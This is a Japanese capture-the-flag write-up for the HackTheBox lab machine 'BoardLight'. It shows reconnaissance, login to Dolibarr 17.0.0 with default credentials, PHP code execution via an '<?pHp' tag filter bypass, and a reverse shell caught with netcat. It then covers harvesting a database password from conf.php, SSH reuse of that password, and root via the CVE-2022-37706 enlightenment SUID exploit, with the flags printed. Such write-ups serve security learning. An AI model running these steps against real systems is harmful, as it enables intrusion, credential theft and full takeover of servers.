概要
HackTheBox「BoardLight」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.11 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.41 |
80
番ポートでWebアプリケーションにアクセスできました。
フッターからホスト名を確認できたので/etc/hosts
に追加します。
ディレクトリの列挙を行いましたが、興味深いものは見つかりませんでした。
$ dirsearch -u http://board.htb/
[03:50:45] 301 - 303B - /js -> http://board.htb/js/
[03:51:06] 200 - 2KB - /about.php
[03:51:42] 200 - 2KB - /contact.php
[03:51:44] 301 - 304B - /css -> http://board.htb/css/
[03:52:00] 301 - 307B - /images -> http://board.htb/images/
サブドメインの列挙を行います。
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.board.htb" -u http://board.htb -fs 15949
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 300ms]
crm.board.htb
を/etc/hosts
へ追加し、アクセスするとログインフォームが表示されました。
また、Dolibarr 17.0.0
を使用していると分かりました。
サブドメインのディレクトリ列挙を行います。
[04:04:24] 301 - 314B - /admin -> http://crm.board.htb/admin/
[04:04:41] 301 - 312B - /api -> http://crm.board.htb/api/
[04:04:41] 200 - 108B - /api/
[04:04:52] 301 - 319B - /categories -> http://crm.board.htb/categories/
[04:04:59] 301 - 316B - /contact -> http://crm.board.htb/contact/
[04:05:00] 301 - 313B - /core -> http://crm.board.htb/core/
[04:05:00] 301 - 313B - /cron -> http://crm.board.htb/cron/
04:05:13] 200 - 2KB - /favicon.ico
[04:05:15] 301 - 312B - /ftp -> http://crm.board.htb/ftp/
[04:05:23] 301 - 317B - /includes -> http://crm.board.htb/includes/
[04:05:24] 301 - 316B - /install -> http://crm.board.htb/install/
[04:05:25] 200 - 322B - /install/index.php?upgrade/
[04:05:25] 200 - 322B - /install/
[04:05:52] 301 - 316B - /product -> http://crm.board.htb/product/
[04:05:53] 301 - 315B - /public -> http://crm.board.htb/public/
[04:05:53] 302 - 0B - /public/ -> /public/error-404.php
[04:05:56] 301 - 317B - /resource -> http://crm.board.htb/resource/
[04:05:57] 200 - 105B - /robots.txt
[04:05:59] 200 - 176B - /security.txt
[04:06:07] 301 - 316B - /support -> http://crm.board.htb/support/
[04:06:07] 200 - 1KB - /support/
[04:06:10] 301 - 314B - /theme -> http://crm.board.htb/theme/
[04:06:13] 301 - 313B - /user -> http://crm.board.htb/user/
[04:06:14] 301 - 319B - /user/admin -> http://crm.board.htb/user/admin/
[04:06:20] 301 - 316B - /website -> http://crm.board.htb/website/
Dolibarr 17.0.0
のCVEを検索するとRCEの脆弱性が見つかりました。
この脆弱性を悪用するにはログインする必要があるので認証情報を探します。
デフォルト認証情報はadmin/admin
やadmin/changeme
であると分かりました。
試しにUsername: admin
,Password: admin
でログインを試みると成功しました。
下記のレポジトリを参考にRCEを試みます。
/website/index.php
へアクセスし、Webサイトの作成、ページの追加を行います。
Edit HTML Source
からPHPのソースコードを追加します。
<?php ?>
だとエラーが出ますが、<?pHp ?>
でバイパスできます。
<?pHp echo "test"; ?>
右上のSave
ボタンで保存し右の双眼鏡ボタンから作成したページにアクセスすると、PHPのコードが実行されているのを確認できました。
リバースシェルを実行します。
ソースコードはKaliに入っている/usr/share/webshells/php/php-reverse-shell.php
を使用しました。
先にNetcatでリッスンしておき、先ほどと同じ手順でソースコードを追加します。
追加したサイトにアクセスすると通信を確立できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.11.11] 52124
Linux boardlight 5.15.0-107-generic #117~20.04.1-Ubuntu SMP Tue Apr 30 10:35:57 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
01:54:38 up 2:08, 1 user, load average: 0.02, 0.43, 0.69
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
/home
からlarissa
ユーザーの存在を確認できました。
$ ls -l /home
total 4
drwxr-x--- 15 larissa larissa 4096 May 17 01:04 larissa
認証情報を探します。
調べるとDolibarr 17.0.0
では/var/www/html/crm.board.htb/htdocs/conf
に認証情報を書くようなのでファイルを見に行きます。
/var/www/html/crm.board.htb/htdocs/conf/conf.php
にDBの認証情報を発見しました。
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
(省略)
発見したserverfun2$2023!!
を使ってlarissa
へSSH接続を試みると成功しました。
$ ssh larissa@board.htb
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password:
Last login: Thu Jul 11 01:30:16 2024 from 10.10.14.145
larissa@boardlight:~$
/home/user.txt
からフラグを入手できます。
1a18643f7df7e96824adf90ca26cac86
Root Flag
Kaliからlinpeas
をダウンロードし、実行します。
$ ./linpeas.sh
sudo
のバージョンで脆弱性の悪用をいくつか試みましたが、成功しませんでした。
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.31
SUID
を見ると、enlightenment
にSUIDが設定されていると分かりました。
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 15K Apr 8 18:36 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 27K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)
(省略)
enlightenment exploit
などで検索するとCVE-2022-37706
がヒットしました。
このエクスプロイトコードを実行するとroot権限への昇格に成功しました。
$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
/root/root.txt
からルートフラグを入手できます。
058377e493076b7b9adc7efc112dbda5